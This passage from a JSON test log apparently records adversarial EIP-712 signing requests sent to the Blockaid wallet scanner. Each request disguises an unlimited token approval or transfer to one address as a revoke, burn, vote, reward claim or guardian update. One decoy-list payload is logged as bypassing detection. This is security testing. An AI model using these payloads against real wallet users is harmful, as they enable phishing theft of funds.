"EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x78a2dbe780171650084b7c7af47fe4463b50e65fcc7b08f3b8abf7a049125efc\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:29:14.735Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:29:23.926Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:29:33.086Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:29:42.227Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:29:51.402Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:30:00.571Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:30:09.741Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:30:18.909Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:30:28.064Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:30:37.203Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:30:46.364Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:30:55.537Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:31:04.700Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:31:14.087Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:31:23.279Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:31:32.437Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:31:41.589Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:31:50.746Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot 